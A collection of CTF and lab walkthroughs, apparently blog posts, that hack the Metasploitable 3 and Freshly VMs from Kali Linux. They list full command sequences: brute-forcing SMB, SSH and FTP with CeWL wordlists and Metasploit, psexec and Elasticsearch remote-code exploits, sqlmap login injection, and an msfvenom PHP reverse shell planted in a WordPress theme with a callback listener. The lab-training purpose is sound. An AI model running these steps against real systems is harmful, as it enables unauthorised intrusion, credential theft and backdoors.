Hack Metasploitable 3 using SMB Service Exploitation

Target: Metasploitable 3
Attacker: Kali Linux

Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover SMB login attack for which it requires open SMB port.
Type the following command on terminal in kali Linux.             


nmap –p- -A 192.168.1.11


In previous article it’s about SSH Login attack read from here.

Luckily!!! In Metasploit3 port 445 is open for SMB service mainly used for providing shared access to filesprinters, and serial ports and miscellaneous communications between server and client on a network. 

Now it is necessary to create a dictionary file to exploit it. To make a dictionary file type the following command:

 cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a customized wordlist generator that sticks to just the site you have specified and will go to a depth of 2 links and returns a list of words which can then be used for password crackers such as John the Ripper.


Start metasploit framework by typing msfconsole on terminal in kali Linux.

This module will test SMB logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.

Type following command under msfconsole
use auxiliary/scanner/smb/smb_login
msf auxiliary (smb_login)>set rhosts 192.168.1.11
msf auxiliary (smb_login)>set rport 445
msf auxiliary (smb_login)>set smbuser vagrant
msf auxiliary (smb_login)>set pass_file /root/Desktop/pass.txt
msf auxiliary (smb_login)>set stop_on_success true
msf auxiliary (smb_login)> exploit

This exploit will start brute force attack to match the valid authentication and give green sign when founds the correct credential for SMB login.

Our attack is successful and we have got valid login vagrant: vagrant as username and password.


This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

Hence using above credential this exploit will try to provide the meterperter shell.
Type following command to use this module for attack.
msf> use exploit/windows/smb/psexec
msf exploit (psexec)>set rhosts 192.168.1.11
msf exploit (psexec)>set rport 445
msf exploit (psexec)>set smbuser vagrant
msf exploit (psexec)>set smbpass vargrant
msf exploit (psexec)> exploit

Wonderful!!! Our meterpreter session 1 is opened and you have got victim shell.
meterpreter> sysinfo

Metasploitable 3 Exploitation using Brute forcing SSH

Target: Metasploitable 3
Attacker: Kali Linux

Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.


nmap –p- -sV 192.168.1.8


In previous article it’s about FTP Login attack read from here.
So here you can see all available open ports and their services today this article will cover SSH login attack for which we required open SSH port luckily in Metasploit3 open 22 is open for SSH service So let’s exploit it for this we need a dictionary file. To make a dictionary file type the following command:

 cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.


Collect the wordlist from CeWL,
 Start Metasploit framework by typing msfconsole on the terminal.


This module will test ssh logins on a range of machines and report successful logins If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.

use auxiliary/scanner/ssh/ssh_login
msf exploit (ssh_login)>set rhosts 192.168.1.8
msf exploit (ssh_login)>set port 22
msf exploit (ssh_login)>set username vagrant
msf exploit (ssh_login)>set pass_file /root/Desktop/pass.txt
msf exploit (ssh_login)>set stop_on_success true
msf exploit (ssh_login)> exploit


This’ll dump the credential as the username: vagrant and password: vagrant successful login for SSH connection moreover provides the session for victim’s shell.

Hack Metasploitable 3 using Elasticsearch Exploit

Elastic search is a distributed REST search engine used in companies for analytic search. And so we will learn how to exploit our victim through it. Start off by nmap.


nmap –p- -A 192.168.1.8


Nmap shows a splendid result and in the result you can see that HHTP service going on 9200 which is using elasticseatch REST. Let’s search it exploit on google.


YES! We have an exploit for that. Let’s use it to our advantage.


To use this exploit go to Metasploit and type:
use exploit/multi/elasticsearch/script_mvel_rce
msf exploit (script_mvel_rce)>set rhost 192.168.1.8
msf exploit (script_mvel_rce)>set rport 9200
msf exploit (script_mvel_rce)>exploit

FTP Service Exploitation in Metasploitable 3

Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. It is intended to be used as a target for testing exploits with Metasploit, hence to brush up our Metasploit skills.

We already know that our target is metasploitable 3 so there is no point to discover our target. So, let’s straight move upto nmap scan.


nmap -p- -sV 192.168.1.8


We can see that FTP port is open so we can exploit it and to do so we need a dictionary file through which we can successfully attack. To make a dictionary file type the following command :

cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/dict.txt

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.


After generating the wordlist through CeWL, open Metasploit by typing msfconsole on the terminal of your Kali.


And then type:

use auxiliary/scanner/ftp/ftp_login
msf exploit (ftp_login)>set username vagrant
msf exploit (ftp_login)>set rhosts 192.168.1.8
msf exploit (ftp_login)>set pass_file /root/Desktop/pass.txt
msf exploit (ftp_login)>set stop_on_success true
msf exploit (ftp_login)> exploit


Above used exploit will give you a correct password to go with the username. Once you have got it then open the WinScp software, give the target’s IP and the port number along with the username: vagrant and password: vagrant


Then click on Login button. After logging in you can find you the files on the FTP server and you can use them to your advantage.

Hack the Freshly VM (CTF Challenge)


Here we come with a new article which will all be about a penetration testing challenge called FRESHLY. The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. It’s an easy lab… let’s get started with it and access it.
Download from here

Breaching Methodology
·         Network Scanning (Nmap)
·         Recon (Nikto)
·         Login Form Based SQL Injection
·         Abusing wordpress
·         Generate PHP Backdoor (Msfvenom)
·         Upload and execute a backdoor
·         Reverse connection (Metasploit)
·         Take root access

Let’s Start!!

So to start with it firstly we have to find out the IP of FRESHLY. For that type the netdiscover command in terminal of Kali. It will show each IP present in our network.
Now we have target IP: 192.168.1.112 so let’s scan it with aggressive scan (-A).
nmap -p-  -A 192.168.1.112




This shows all open ports: 80, 8080, 443.
As we can see 80 port is open so we will open target IP in our browser to find out what’s in there as our next clue.




Next we will apply nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type: nikto -h [host URL.




After scanning it shows that there is a login.php page found. So open it in a browser with target IP




Since we don’t know the exact username and password therefore we have used SQLMAP for login form based injection for retrieving the database name and login credential by executing following command.
sqlmap -u http://192.168.1.6/login.php ‘’ --form –risk 3 --level 3 –dbs




From sqlmap result we came to that the name of database could be“wordpress8080”, so now using sqlmap again fetch username and password from that database i.e. wordpress8080




Alright we have achieved our first step by finding out user and password for wordpress.
User = admin
Password = SuperSecretPassword
 Earlier we have already found out our open ports so use one of not used ports to open in browser ie.8080
Cool…See what you have got…. Now click on this link and you are all set for further result.




Candy goodness!!!!!  It’s our wordpress page. So let’s get on to other step by opening wordpress login page and entering the credentials we found out i.e.
User= admin
Password= SuperSecretPassword




Once you have logged in, make the malicious file that you got to upload in it. Generate code through msfvenom command:
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 –f raw

Side by side in other terminal open metasploit and run multi handler.




From generated php raw file copy the code from  to die(). As we want to read a file on the system, let’s put some PHP code in the theme: We go to Appearance -> themes -> 404.php and add some PHP code in order to execute it,




Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe Meterpreter session1, now start penetrating for accessing root privilege. Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'

For getting root access, account credential reuse from the WordPress admin password SuperSecretPassword that allowed su – to escalate privileges.